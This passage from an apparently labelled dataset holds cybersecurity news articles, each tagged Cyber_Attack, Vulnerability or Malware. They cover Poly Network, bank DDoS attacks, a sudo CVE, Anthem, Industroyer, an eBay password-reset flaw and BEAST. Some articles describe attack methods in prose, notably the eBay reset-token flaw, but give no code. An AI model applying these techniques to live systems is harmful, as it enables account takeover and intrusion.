""We are aware of the poly.network exploit that occurred today. While no one controls BSC (or ETH), we are coordinating with all our security partners to proactively help. There are no guarantees. We will do as much as we can,"" Binance CEO Changpeng Zhao said in a tweet.
The identity of the hacker remains unclear, although blockchain security firm SlowMist claimed it was able to trace the attacker email address, IP address, and device fingerprint and that their initial source of funds were in Monero coins, which were then exchanged for ETH, MATIC, and other currencies.
Update: Poly Network on Wednesday said the unknown culprit behind the attack had sent back $261 million worth of crypto assets that were stolen from the platform (Ethereum: $3.3 million, BSC: $256 million, and Polygon: $1 million). While the motive behind returning the stolen digital funds remains unknown, in a ""Q&A"" held via Ether transaction notes, the hacker claimed it was ""for fun.""
""The Poly Network hack and subsequent return of funds shows that it’s becoming more difficult to pull off large-scale cryptocurrency theft,"" Blockchain analysis platform Chainalysis said. ""That may sound counterintuitive given that this $600 million theft represents the biggest DeFi hack of all time, and that the fast-growing DeFi ecosystem is uniquely vulnerable to hacks. However, cryptocurrency theft is more difficult to get away with than theft of fiat funds. This is due in part to the inherent transparency of blockchains.""

",Cyber_Attack
Cyber Attacks on Six Major American Banks,https://thehackernews.com/2012/10/cyber-attacks-on-six-major-american.html,"According to reports, some of the United States biggest financial institutions including Wells Fargo, JPMorgan Chase, Bank of America, Citigroup, and Bancorp were hit by a series of cyber attacks last week, by a group claiming Middle Eastern ties, that caused Internet blackouts and delays in online banking.

The banks suffered denial-of-service attacks, in which hackers barrage a website with traffic until it is overwhelmed and shuts down. Such attacks, while a nuisance, are not technically sophisticated and do not affect a company's computer network or, in this case, funds or customer bank accounts.

Hacktivists, calling themselves ""Mrt. Izz ad-Din alQasssam Cyber Fighters,"" attacked Wells Fargo and posted on Pastebin that U.S. Bancorp and PNC Financial Services Group are next. The group said it had attacked the banks in retaliation for an anti-Islam video that mocks the Prophet Muhammad. It also pledged to continue to attack American credit and financial institutions daily, and possibly institutions in France, Israel and Britain, until the video is taken offline. The New York Stock Exchange and Nasdaq were also targeted.

Frustrated customers of Bank of America, JPMorgan Chase, Citigroup, U.S. Bank, Wells Fargo and PNC, who could not get access to their accounts or pay bills online, were upset because the banks had not explained clearly what was going on.

Representatives for other banks also confirmed that they had experienced slow Internet performance and intermittent downtime because of an unusually high volume of traffic. Security researchers said the attack methods were too basic to have taken so many US bank sites offline. The hackers appeared to be enlisting volunteers for the attacks with messages on various sites.

IT Security professionals need to realize that the hackers are doing damage to websites without having to access the corporate servers. They are hitting the site hard without breaking in. A safety barrier must be created and maintained.

Update: Prolexic Technologies said the distributed denial of service (DDoS) toolkit called itsoknoproblembro was used against some of the banks which included Wells Fargo, U.S. Bank, PNC Bank, Bank of America and JPMorgan Chase.

The attack signatures are extremely complex and Prolexic has recorded sustained floods peaking at 70 Gbps and more than 30 million pps against some of its customers. Most mitigation providers would struggle to combat DDoS attacks with these characteristics.

The itsoknoproblembro toolkit includes multiple infrastructure and application-layer attack vectors, such as SYN floods, that can simultaneously attack multiple destination ports and targets, as well as ICMP, UDP and SSL encrypted attack types.

",Cyber_Attack
Sudo Bug Lets Non-Privileged Linux and macOS Users Run Commands as Root,https://thehackernews.com/2020/02/sudo-linux-vulnerability.html,"Joe Vennix of Apple security has found another significant vulnerability in sudo utility that under a specific configuration could allow low privileged users or malicious programs to execute arbitrary commands with administrative ('root') privileges on Linux or macOS systems.

Sudo is one of the most important, powerful, and commonly used utilities that comes as a core command pre-installed on macOS and almost every UNIX or Linux-based operating system.

Sudo has been designed to let users run apps or commands with the privileges of a different user without switching environments.

Sudo Vulnerability (CVE-2019-18634)

The newly discovered privilege escalation vulnerability, tracked as CVE-2019-18634, in question stems from a stack-based buffer overflow issue that resides in Sudo versions before 1.8.26.

According to Vennix, the flaw can only be exploited when the ""pwfeedback"" option is enabled in the sudoers configuration file, a feature that provides visual feedback, an asterisk (*), when a user inputs password in the terminal.

To be noted, the pwfeedback feature is not enabled by default in the upstream version of sudo or many other packages. However, some Linux distributions, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.


Besides this, when pwfeedback is enabled, the vulnerability can be exploited by any user, even without sudo permissions.

""The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password,"" Sudo developer Todd C. Miller explained. ""Because the attacker has complete control of the data used to overflow the buffer, there is a high likelihood of exploitability.""

Check If You're Affected and Apply Patches

To determine if your sudoers configuration is affected, you can run ""sudo -l"" command on your Linux or macOS terminal to find whether the ""pwfeedback"" option is enabled and listed in the ""Matching Defaults entries"" output.

If enabled, you can disable the vulnerable component by changing ""Defaults pwfeedback"" to ""Defaults !pwfeedback"" in the sudoers configuration file to prevent the exploitation of the privilege escalation vulnerability.

Vennix responsibly reported the vulnerability to the maintainers of Sudo, who late last week released sudo version 1.8.31 with a patch.

""While the logic bug is also present in sudo versions 1.8.26 through 1.8.30 it is not exploitable due to a change in EOF handling introduced in sudo 1.8.26,"" Miller said.

Apple has also released a patch update for macOS High Sierra 10.13.6, macOS Mojave 10.14.6, macOS Catalina 10.15.2 last week.

Joe Vennix last year reported a similar impact vulnerability in Sudo that could have been exploited by an attacker to run commands as root just by specifying the user ID ""-1"" or ""4294967295.""
",Vulnerability
Anthem Data Breach — 6 Things You Need To Know,https://thehackernews.com/2015/02/anthem-data-breach.html,"The Nation's second largest Health insurer company, Anthem, alerted its customers on Wednesday that hackers had stolen the personal information of over 80 Millions of its customers, making it the largest data breach and double the number of payment cards affected by Target data breach occurred in 2013.

The stolen personal information includes residential addresses, birthdays, medical identification numbers, Social Security Numbers, email addresses and some income data belonging to both current and former customers and employees, including its own chief executive.

80 Million is a vast number — it's roughly the populations of California, Texas and Illinois when combined together. So far, there is no evidence whether financial or medical information of the company's customers was compromised, according to a statement given by Anthem's vice president, Kristin Binns.

The health giant, based in Indianapolis, has hired cybersecurity firm FireEye's Mandiant division to work out which customers. Despite these efforts, the company has not yet identified the attacker behind the massive Anthem data breach.

1. WHAT WENT WRONG ?
Now the question rises, What went wrong with the second largest health insurer company that it lead its 80 million customers expose to mega cyber hacks?

Anthem hack could be due to a vulnerability in the healthcare company, and security experts say the stolen information was vulnerable because Anthem did not take proper precautions, such as protecting the data in its computers and servers through encryption, in the same way it protected medical information that was sent or shared outside of the database.

A spokesperson from Anthem says they do not known who is behind the attack, but a number of security consultants have pointed that in the past Chinese hackers have shown their interest in targeting popular healthcare companies.

It is to be estimated that the malicious hackers may have infiltrated the Anthem's networks by making use of a sophisticated malicious software program that gave them access to the login credential of an Anthem employee, thereby breaching 80 million customers.

2. BEWARE!! E-MAIL SCAMS TARGETING ANTHEM CUSTOMERS
As soon as the story broke, cyber criminals started exploiting the latest Anthem data breach in an attempt to persuade people to sign up for bogus credit protection services and provide personal information about themselves.

The insurer company on Friday warned its customers about an e-mail scam targeting former and current customers whose personal information was suspected to have been stolen in the Anthem breach.

Anthem warned about the email scam in a statement saying that the emails appears to come from Anthem and ask recipients to click on the attached link in order to obtain credit monitoring. Do not click on such links and do not provide any information on any website, Anthem advised its customers.

Don't expect any email warnings from the company because the Anthem hack is much severe than what it appears. To avoid fallout from the hackers, Anthem said it will contact its customers only via mail delivered by the U.S. Postal Service. The company will not call members regarding the breach and will not ask for any credit card information or Social Security numbers over the phone or via an email.

3. THIS DATA BREACH COULD LEADS TO OTHER BREACHES
Anthem claimed that the hackers didn't appear to have stolen customers' medical information. However, medical identification numbers were taken, along with Social Security numbers, addresses and email addresses, which could be by cyber crooks used for medical fraud.

Medical identity theft has become a booming business, according to security experts, who warned that the hackers' succeeded in penetrating Anthem's computer systems could use the stolen information to target other health care companies.

Over 90 percent of healthcare organizations reported they have had at least one data breach over the last two years, according to a survey of health care providers published last year by the Ponemon Institute, a privacy and data protection research firm.

4. CALIFORNIA CUSTOMER SUES ANTHEM
A California woman on Thursday accused Anthem of failing to properly secure and protect its customers' personal information, including usernames, birth dates, addresses and social security numbers. She seeks to represent all other customers who have been affected by this massive data breach.
""It appears that Anthem's security system did not involve encrypting Social Security numbers and birth dates –- two of the most valuable pieces of information that a thief can have,"" Susan Morris said in her complaint filed in federal court in Santa Ana, California.
Among other claims, Morris seeks damages for violations of California's unfair competition and data breach laws, Bloomberg reported. The case is Morris vs. Anthem Inc., 15-cv-00196, U.S. District Court, Central District of California (Santa Ana).

5. DEMAND OF LAWS TO BETTER PREVENT BREACHES
After falling for massive data breaches like Target, Home Depot,...and now Anthem hack, there is a need for more systemic changes in the laws in an attempt to prevent big hacks after hackers hit Anthem, the nation's second-largest health insurer.
""We're going to need federal legislation to address security issues to keep these huge hacks from happening,"" says Waldo Jaquith, who leads U.S. Open Data, which works with the public sector and private companies to better understand, store and share data.
Jaquith suggests setting minimal security requirements into the law — such as requirement of much stricter passwords and customer authentication. But, until there are more systemic changes, consumers are left quite helpless.

6. HOW TO PROTECT YOURSELF AFTER BREACH
The hack affected a wide array of Anthem brands, including Anthem Blue Cross; Anthem Blue Cross and Blue Shield; Blue Cross and Blue Shield of Georgia; Empire Blue Cross and Blue Shield; Amerigroup; Caremore; Unicare; Healthlink; and DeCare. So, if you have one of these plan, your personal data may have been taken by cyber crooks.

If you are a one of those affected customers, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, like in case of credit cards fraud. You may follow the following steps to protect yourself:
Monitor Your Accounts - Watch out if someone using your information don't ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen info can get through your security questions, including the last 4 digits of your social and street address. Also, watch for any unauthorized activity or transfers on your current financial accounts, those affected in the breach.
Sign Up for Credit Alerts and Identity Theft Protection for Free - The insurer company is offering free credit monitoring and identity protection services to all of its affected customers. So, you must sign up now, as these services will keep an eye on every unauthorised activities and send you alerts when someone else tries to use your identity. You can get further information on these measures at AnthemFacts.com.
File Your Taxes Early - According to Paige Hanson, Educational Programs Manager for LifeLock, an identity theft monitoring service, it only takes two pieces of information for a cyber thief to hook your tax refund by filing your taxes early and claiming it for themselves, and the data in the breach contained both. So, in order to avoid any such problems, file your taxes as early as possible.
Get Password Manager and Use Two Factor Authentication - The advice is common for all affected by data breaches — change your password and use best password manager to make sure you use a complex one, and don't use the same password or username across various websites. Also activate two-factor authentication for an extra layer of protection beyond your password.
Stay Vigilant - The last and foremost thing to protect against the breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.
""Your Social Security number is not going to change,"" said Gorup. ""This is going to stick with you for life.""
In case for any queries about Anthem data breach, the company has set up a dedicated website and a toll-free number (1-877-263-7995) for customers to access updates and ask questions related to the hack.

",Cyber_Attack
Dangerous Malware Discovered that Can Take Down Electric Power Grids,https://thehackernews.com/2017/06/electric-power-grid-malware.html,"Last December, a cyber attack on Ukrainian Electric power grid caused the power outage in the northern part of Kiev — the country's capital — and surrounding areas, causing a blackout for tens of thousands of citizens for an hour and fifteen minutes around midnight.

Now, security researchers have discovered the culprit behind those cyber attacks on the Ukrainian industrial control systems.

Slovakia-based security software maker ESET and US critical infrastructure security firm Dragos Inc. say they have discovered a new dangerous piece of malware in the wild that targets critical industrial control systems and is capable of causing blackouts.

Dubbed ""Industroyer"" or ""CrashOverRide,"" the grid-sabotaging malware was likely to be used in the December 2016 cyber attack against Ukrainian electric utility Ukrenergo, which the security firms say represents a dangerous advancement in critical infrastructure hacking.

According to the researchers, CrashOverRide is the biggest threat designed to disrupt industrial control systems, after Stuxnet — the first malware allegedly developed by the US and Israel to sabotage the Iranian nuclear facilities in 2009.

This Malware Does Not Exploit Any Software Flaw

Unlike Stuxnet worm, the CrashOverRide malware does not exploit any ""zero-day"" software vulnerabilities to do its malicious activities; instead, it relies on four industrial communication protocols used worldwide in power supply infrastructure, transportation control systems, and other critical infrastructure systems.

The CrashOverRide malware can control electricity substation' switches and circuit breakers, designed decades ago, allowing an attacker to simply turning off power distribution, cascading failures and causing more severe damage to equipment.

Industroyer malware is a backdoor that first installs four payload components to take control of switches and circuit breakers; and then connects to a remote command-and-control server to receive commands from the attackers.
""Industroyer payloads show the authors' in-depth knowledge and understanding of industrial control systems."" ESET researchers explain.
""The malware contains a few more features that are designed to enable it to remain under the radar, to ensure the malware's persistence, and to wipe all traces of itself after it has done its job.""
Since there have been four malware discovered in the wild to date that target industrial control systems, including Stuxnet, Havex, BlackEnergy, and CrashOverRide; Stuxnet and CrashOverRide were designed only for sabotage, while BlackEnergy and Havex were meant for conducting espionage.
""The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages,"" reads Dragos analysis [PDF] of the malware.

Malware Can Cause Wider and Longer-Lasting Blackouts

The analysis of the malware suggests CrashOverRide could cause power outages far more widespread, sophisticated and longer lasting than the one Ukraine suffered last December.

Dragos CEO Robert M. Lee said the CrashOverRide malware is capable of causing power outages that can last up to a few days in portions of a country's electric grid, but it is not capable enough to bring down the entire grid of a nation.
The malware includes interchangeable, plug-in components that could allow CrashOverRide to be altered to different electric power utilities or even launched simultaneous attacks on multiple targets.
""CrashOverRide is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia,"" Dragos' paper reads.
""CrashOverRide is extensible and with a small amount of tailoring such as the inclusion of a DNP3 [Distributed Network Protocol 3] protocol stack would also be effective in the North American grid.""
According to the researchers, the malware can be modified to target other types of critical infrastructure, like transportation, gas lines, or water facilities, as well with additional protocol modules.

The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.

The security firms already argued that the 2016 power outage was likely caused by the same group of hackers who caused 2015 blackout — Sandworm, a state-sponsored hacking group believed to be from Russia.

Dragos tracked the perpetrators behind CrashOverRide as Electrum and assessed ""with high confidence through confidential sources that Electrum has direct ties to the Sandworm team.""

The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.

",Malware
Microsoft flaw allows USB loaded with payload to bypass security controls,https://thehackernews.com/2013/03/microsoft-flaw-allows-usb-loaded-with.html,"During March Patch Tuesday of 2013, Microsoft released seven new security bulletins, with four rated as critical, and others as Important. Most interesting one was MS13-027, which is rated as ""important"" because the attack requires physical access to the vulnerable machine.

This flaw allows anyone with a USB thumb drive loaded with the payload to bypass security controls and access a vulnerable system even if AutoRun is disabled, and the screen is locked. Flaw exposes your Windows PCs to major risk. If you remember Stuxnet, worm was injected to Iran's nuclear program system using USB thumb drive.
Windows typically discovers USB devices when they are inserted or when they change power sources (if they switch from plugged-in power to being powered off of the USB connection itself).

To exploit the vulnerability an attacker could add a maliciously formatted USB device to the system. When the Windows USB device drivers enumerate the device, parsing a specially crafted descriptor, the attacker could cause the system to execute malicious code in the context of the Windows kernel.

Because the vulnerability is triggered during device enumeration, no user intervention is required. In fact, the vulnerability can be triggered when the workstation is locked or when no user is logged in, making this an un-authenticated elevation of privilege for an attacker with casual physical access to the machine.

Microsoft admits the flaw could ""open additional avenues of exploitation that do not require direct physical access to the system,"" once the USB-based exploit is successful.

The vulnerabilities addressed by Microsoft do not include those exploited by security researchers at the recent Pwn2Own hacking competition at the CanSecWest Conference in Vancouver.

",Vulnerability
Adobe Releases Security Patch Updates For 112 Vulnerabilities,https://thehackernews.com/2018/07/adobe-patch-update-july.html,"Adobe has released security patches for a total 112 vulnerabilities in its products, most of which have a higher risk of being exploited.

The vulnerabilities addressed in this month's patch Tuesday affect Adobe Flash Player, Adobe Experience Manager, Adobe Connect, Adobe Acrobat, and Reader.

None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.

Adobe Flash Player (For Desktops and Browsers)

Security updates include patches for two vulnerabilities in Adobe Flash Player for various platforms and application, as listed below.

One of which has been rated critical (CVE-2018-5007), and successful exploitation of this ""type confusion"" flaw could allow an attacker to execute arbitrary code on the targeted system in the context of the current user.

This flaw was discovered and reported to Adobe by willJ of Tencent PC Manager working with Trend Micro's Zero Day Initiative.

Without revealing technical details of any flaw, Adobe said the second vulnerability, which has been rated important by the company, could allow an attacker to retrieve sensitive information.
Affected Version
Flash Player v30.0.0.113 and earlier versions
Affected Platforms and Applications
Windows
macOS
Linux
Chrome OS
Google Chrome
Microsoft IE 11
Microsoft Edge

Adobe Acrobat and Reader (Windows and macOS)

The company has patched a total of 104 security vulnerabilities in Adobe Acrobat and Reader, of which 51 are rated as critical and rest are important in severity.

Both products include dozens of critical heap overflow, use-after-free, out-of-bounds write, type confusion, untrusted pointer dereference and buffer errors vulnerabilities which could allow an attacker to execute arbitrary code on the targeted system in the context of the current user.

These vulnerabilities were reported by security researchers from various security firms, including Palo Alto Networks, Trend Micro Zero Day Initiative, Tencent, Qihoo 360, CheckPoint, Cisco Talos, Kaspersky Lab, Xuanwu Lab and Vulcan Team.
Affected Version
Continuous Track—2018.011.20040 and earlier versions
Classic 2017 Track—2017.011.30080 and earlier versions
Classic 2015 Track—2015.006.30418 and earlier versions
Affected Platforms
Microsoft Windows
Apple macOS
Adobe Experience Manager (All Platforms)

Adobe has addressed three important Server-Side Request Forgery (SSRF) vulnerabilities in its Experience Manager, an enterprise content management solution, which could result in sensitive information disclosure.

Two of these security vulnerabilities (CVE-2018-5006, CVE-2018-12809) were discovered by Russian application security researcher Mikhail Egorov.

Affected Version
AEM v6.4, 6.3, 6.2, 6.1 and 6.0

The vulnerabilities affect Adobe Experience Manager for all platforms, and users are recommended to download the updated version from here.

Adobe Connect (All Platforms)

Adobe has patched three security vulnerabilities in Adobe Connect—a software used to create information and general presentations and web conferencing—two of which, rated important, could allow an attacker to bypass the authentication, hijack web sessions and steal sensitive information.

The third flaw, rated moderate, in Adobe Connect is a privilege escalation issue caused due to an insecure loading of a library.
Affected Version
Adobe Connect v9.7.5 and earlier for all platforms
Adobe recommends end users and administrators to install the latest security updates as soon as possible.

",Vulnerability
Hacking any eBay Account in Just 1 Minute,https://thehackernews.com/2014/09/hacking-ebay-accounts.html,"Four month ago, a massive data breach on the eBay website affected 145 million registered users worldwide after its database was compromised. Meanwhile, another critical vulnerability on the eBay website was reported, allowing an attacker to hijack millions of user accounts in bulk.

An Egyptian security researcher 'Yasser H. Ali' informed The Hacker News about this vulnerability 4 months ago, which could be used by the cyber criminals in the targeted attacks. At that time, Mr.Yasser secretly demonstrated the vulnerability step-by-step to 'The Hacker News' team and we confirmed - IT WORKS.

Since it was not addressed by the eBay security team, we kept the technical details of this vulnerability hidden from our readers. But, as we promised to share the technical details of this interesting flaw, once after eBay team patch it. So, Here we go!

The vulnerability Yasser found could allow you to Reset Password of any eBay user account and that too without any user interaction or dependency. The only thing you required is the login email ID or username of the victim you want to hack.
BUT HOW TO HACK ANY eBAY ACCOUNT?
Basically to recover the forgotten password, user is first redirected to a password reset page, where eBay page first generates a random code value as HTML form parameter ""reqinput"", which is visible to the attacker as well using Browser's inspect element tool.

After the user provides his/her email id and presses the submit button, eBay generates a second random code, which is unknown to anybody else except the users themselves, and send the code along with a password reset link to the eBay user with the registered email address.

Once the user clicks on the password reset link provided in the email, user will be redirected to an eBay page with new password set option, where the user only needs to enter a new password twice and has to submit it, in order to reset his eBay account password.

HERE THE VULNERABILITY RESIDES
Yasser noticed that instead of using the secret code, the new password HTTP request sends the same respective ""reqinput"" value that has been generated in the first request, when the user clicked on reset password and which is known to the attacker, as shown:
As Proof-of-Concept, the researcher targeted one of our team members' temporary account with email address info@thehackernews.com. First he made a password reset request at eBay for the targeted email ID and saved the generated 'reqinput' value from the inspect element.

Then he directly crafted a new HTTP request to the eBay server at password reset form action with the known ""reqinput"" value, new password, confirm password and password strength parameters.

BANG!! He successfully able to reset our eBay account password without our team member's interaction within a while.

LARGE SCALE AUTOMATED ATTACK
A sophisticated hacker could had launched an automated mass password reset request attack for all those email accounts which were leaked in previously reported massive eBay data breach.

The company has already patched the vulnerability after Yasser responsibly disclosed the flaw to the eBay security team. But, this 4 months delay in delivering the patch could have compromised millions of eBay users' accounts in a targeted attack, even if you had changed your password after the data breach.

",Vulnerability
"DoubleDirect MitM Attack Targets Android, iOS and OS X Users",https://thehackernews.com/2014/11/doubledirect-mitm-attack-targets_22.html,"Security researchers have discovered a new type of ""Man-in-the-Middle"" (MitM) attack in the wild targeting smartphone and tablets users on devices running either iOS or Android around the world.

The MitM attack, dubbed DoubleDirect, enables an attacker to redirect a victim's traffic of major websites such as Google, Facebook and Twitter to a device controlled by the attacker. Once done, cyber crooks can steal victims' valuable personal data, such as email IDs, login credentials and banking information as well as can deliver malware to the targeted mobile device.

San Francisco-based mobile security firm Zimperium detailed the threat in a Thursday blog post, revealing that the DoubleDirect technique is being used by attackers in the wild in attacks against the users of web giants including Google, Facebook, Hotmail, Live.com and Twitter, across 31 countries, including the U.S., the U.K. and Canada.

DoubleDirect makes use of ICMP (Internet Control Message Protocol) redirect packets in order to change the routing tables of a host — used by routers to announce a machine of a better route for a certain destination.

In addition to iOS and Android devices, DoubleDirect potentially targets Mac OSX users as well. However, users of Windows and Linux are immune to the attack because their operating systems don't accept ICMP re-direction packets that carry the malicious traffic.
""An attacker can also use ICMP Redirect packets to alter the routing tables on the victim host, causing the traffic to flow via an arbitrary network path for a particular IP,"" Zimperium warned. ""As a result, the attacker can launch a MitM attack, redirecting the victim's traffic to his device.""
""Once redirected, the attacker can compromise the mobile device by chaining the attack with an additional Client Side vulnerability (e.g.: browser vulnerability), and in turn, provide an attack with access to the corporate network.""
The security firm tested the attack and it works on the latest versions of iOS, including version 8.1.1; most Android devices, including Nexus 5 and Lollipop; and also on OS X Yosemite. The firm also showed users how to manually disable ICMP Redirect on their Macs to remediate the issue.
""Zimperium is releasing this information at this time to increase awareness as some operating system vendors have yet to implement protection at this point from ICMP Redirect attacks as there are attacks in-the-wild,"" the post reads.
The company has provided a complete Proof-of-Concept (PoC) for the DoubleDirect Attack, users can downloaded it from the web. It demonstrates the possibility of a full-duplex ICMP redirect attack by predicting the IP addresses the victim tries to connect to, by sniffing the DNS traffic of the target; the next step consists of sending an ICMP redirect packet to all IP addresses.

",Vulnerability
Albania is the most Malware infected Nation,https://thehackernews.com/2012/03/albania-is-most-malware-infected-nation.html,"Albania is the most Malware infected Nation



Researchers at Security firms Norman and Microsoft Analyse data from their security products that Albania is the most Malware infected Nation, with 65% of scanned computers reporting infections. Rest Most Infected Countries are South Korea, Guatemala, Vietnam, Indonesia, Argentina, Thailand, Georgia, the Philippines, Algeria, Venezuela, Lithuania and Pakistan according to Norman Report.

Where as Microsoft also shows such reports that the most common category in Albania in Second quarter of 2011 was Worms, which affected 43.7 percent of all computers cleaned in Albania, down from 44.9 percent in First quarter of 2011.

The most common threat family in Albania in Second quarter of 2011 was Win32/Autorun, which affected 25.2 percent of computers cleaned in Albania. Win32/Autorun is a family of worms that spreads by copying itself to the mapped drives of an infected computer. The mapped drives may include network or removable drives.

The following table lists the top botnets actively sending spam from Albania. The top 3 spambots hosted in Albania during 2011:


Botnet
% of all botnet IP addresses in Albania
1
Win32/Pramro
30.1%
2
Win32/Lethic
27.5%
3
Win32/Cutwail
16.8%


Other Reports shows that Finland has the lowest rate of infection in the world, with 24.31% of scanned computers containing a malware, such as a virus, spyware or trojan.

",Malware
miniFlame - A New cyber espionage malware discovered,https://thehackernews.com/2012/10/miniflame-new-cyber-espionage-malware.html,"Kaspersky has discovered new malware dubbed 'miniFlame', cyber espionage software directly linked to Flame. This new nation-state espionage malware that has ties to two previous espionage tools known as Flame and Gauss, and that appears to be a ""high-precision, surgical attack tool"" targeting victims in Lebanon, Iran and elsewhere.

miniFlame, also known as SPE, was found by Kaspersky Lab's experts in July 2012, and was originally identified as a Flame module. But originally MiniFlame seems to be used to gain control of and obtain increased spying capability over select computers originally infected by the Flame and Gauss spyware.

According to Kaspersky, versions of miniFlame were created in 2010 and 2011, and some of the six variants are still considered active. It is expected that development of the malicious program could have started as far back as 2007. ""MiniFlame is a high precision attack tool,"" said Alexander Gostev, Chief Security Expert, Kaspersky Lab, describing the malware. ""Most likely it is a targeted cyber weapon used in what can be defined as the second wave of a cyberattack.""


Main results of miniFlame analyses:
miniFlame aka SPE, based on the same architectural platform as Flame. It can run as a standalone program or cyber espionage as an internal component of Flame and Gauss.
The tool of cyber operates via a backdoor (""backdoor"") designed to steal data and give direct access to infected systems.
Development miniFlame could have started as early as 2007 and continued until the end of 2011. Many variants appear to have been created. Today, Kaspersky Lab has identified six key corresponding to two generations 4.x and 5.x.
Unlike Flame or Gauss, responsible for a large number of infections, due to the miniFlame is much lower. According to the data from Kaspersky Lab, it would be limited to 10 or 20 machines. The total number of infections globally is estimated at 50 or 60.
The small number of infections combined with flight capabilities miniFlame information and the flexibility of its design indicates that it has been used for highly targeted cyber espionage operations and has most likely been deployed in machines already infected with Flame or Gauss.


Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
Secunia launches Secunia Vulnerability Intelligence Manager 4.0,https://thehackernews.com/2012/10/secunia-launches-secunia-vulnerability.html,"78% of vulnerabilities are found in third-party programs. Security teams cannot monitor all of them manually or determine which ones are critical to their organization.

Secunia, the leading provider of IT security solutions that enables businesses and private individuals to manage and control vulnerability threats, today announced the general availability of the new version of Secunia's Vulnerability Intelligence Manager, the VIM 4.0.

The Secunia VIM 4.0 is the latest evolutionary step in the technology Secunia has developed to help organizations handle vulnerabilities and protect business critical information and assets against potential attacks. Because it covers more than 40,000 software systems and applications, the VIM 4.0 solution provides the most comprehensive intelligence about software vulnerabilities available to organizations, ensuring that all security threats can be dealt with before the IT infrastructure is compromised by cybercriminals .

"" We're very happy with this new version of the VIM. The acclaimed quality of the intelligence delivered by Secunia's Research Team is the backbone of the solution, and that intelligence becomes pure power in the hands of the security teams in the organizations; it provides them with the relevant intelligence so they can target their efforts and deal with the vulnerabilities that are critical to their business, instead of the teams spending their time frantically trying to figure out which issues to address in what order. That's the assurance and focus the VIM provides: because of the accuracy of the intelligence, the real-time delivery and the reports, filters and settings, security departments are able to distribute the intelligence to the appropriate stakeholders within the organisation and to set up effective security processes,"" said Morten R. Stengaard, Director of Product Management and Quality Assurance at Secunia.

Meeting compliance requirements
Since Secunia started 10 years ago, the in-house Research Team has delivered real-time intelligence customized to the needs of the individual company. The solution enables organizations to provide external auditors with exhaustive information on how compliance policies are met.

""This is particularly important to corporations and organizations in the US, who have to meet exacting standards to keep their IT infrastructure secure, and who risk heavy fines if they do not meet the compliancy requirements that apply to their particular industry,"" explained Morten R. Stengaard.

""The Secunia VIM delivers a comprehensive solution to automate the process of compliance with guidelines such as these: With the vulnerability intelligence manager, organisations can easily formalize and automate the tasks that are typically weak links in compliance: assessment, remediation, approval workflow, exception management, and consolidated reporting. The Secunia VIM helps organisations tackle those difficult problems, while also easing the task of defining and managing policies, mapping policies to controls, and collecting/archiving evidence of compliance,"" said Morten R. Stengaard.
Flaws give access
As cybercrime against corporations, organizations and government institutions is slowly becoming a recognized security threat, the importance of managing software vulnerabilities is an aspect of security that is gradually receiving attention in organizations around the world.

If there are flaws in the software, cybercriminals have access to the entire infrastructure of any organization. And modern organizations use a lot of different software programs: it is a common misconception to think that only the organization-wide systems purchased, implemented and maintained by company IT departments pose a risk. Literally any software flaw in any program or app used in any endpoint related to the organization represents a security risk – including company laptops used both professionally and privately by employees.

Effectively, any program downloaded to an employee laptop is a threat to the organization's security. Consequently, it is not enough to manage the software systems that make up the organisation's official software infrastructure.

""And it is not enough to wait for official software patches from Microsoft"" warns Morten R. Stengaard: ""As only 22% of vulnerabilities affect Microsoft programs and operating systems, it is critical to have the correct vulnerability intelligence to spot the vulnerabilities in the remaining 78% - the third-party programs. And the threat to third-party programs is on the increase: the share of vulnerabilities in these has risen from 45% to 78% from 2006 to 2011.""

Recent research from information technology research company Gartner, emphasizes the risk software vulnerabilities pose:

Through 2015, 80% of successful attacks will exploit well-known vulnerabilities and be detectable via security monitoring. […] Applications are the gateways to the data that is the focus of a targeted attack. Dynamic application security testing (DAST) tools can be used to scan productions applications to find vulnerabilities. When a vulnerability is present on a running application, production data is at risk, and remediation cycle times are long typically taking multiple months.

Key benefits of the Secunia VIM include:
Reliable and accurate Vulnerability Intelligence at your fingertips
Personalised alerts via email and SMS
Comprehensive XML feeds
Comprehensive Vulnerability Management tool
Threat intelligence covering more than 40,000 systems and applications
What's new in VIM 4.0:
New and improved user interface
Integration with the Secunia CSI
Improved assets matching
Improved data export
Activity log
To request a free trial, click here.

",Vulnerability
HTTPS SSL encryption Vulnerable To Crypto Attack,https://thehackernews.com/2011/09/https-ssl-encryption-vulnerable-to.html,"HTTPS SSL encryption Vulnerable To Crypto Attack

The secure sockets layer (SSL) and transport layer security (TLS) encryption protocol, used by millions of websites to secure Web communications via HTTPS, is vulnerable to being decrypted by attackers.

Researchers have discovered a serious weakness in virtually all websites protected by the secure sockets layer protocol that allows attackers to silently decrypt data that's passing between a webserver and an end-user browser.

Juliano Rizzo and Thai Duong say the vulnerability compromises TLS (Transport Layer Security) 1.0, the encryption mechanism that secures Web sites accessed using HTTPS (Secure Hypertext Transfer Protocol). TLS is the successor to SSL (Secure Sockets Layer) and is widely used at financial sites. Companies, including Google, Facebook, and Twitter, are urging the wider use of TLS on the Web.

The exploit – demonstrated with a tool called BEAST – targets a flaw that could leave transactions open to attack and is being taken seriously by online payments firms.""We have got a team of security people and it is always working on updates and upgrades and they are looking into this already,"" a PayPal spokesperson told PC Pro. ""The details are still to be revealed, but the security people are trying to get a headstart on making sure this is kept secure.""

BEAST requires attackers to gain a man-in-the-middle position. Most of the time this means that they need to be on the same network as their targets so they can intercept browser requests.BEAST has two components. One contains code that must be loaded into the victim's web browser and the second one captures and decrypts HTTPS session cookies. The researchers claim that they can decrypt any secure session cookie in five minutes on average.

",Vulnerability
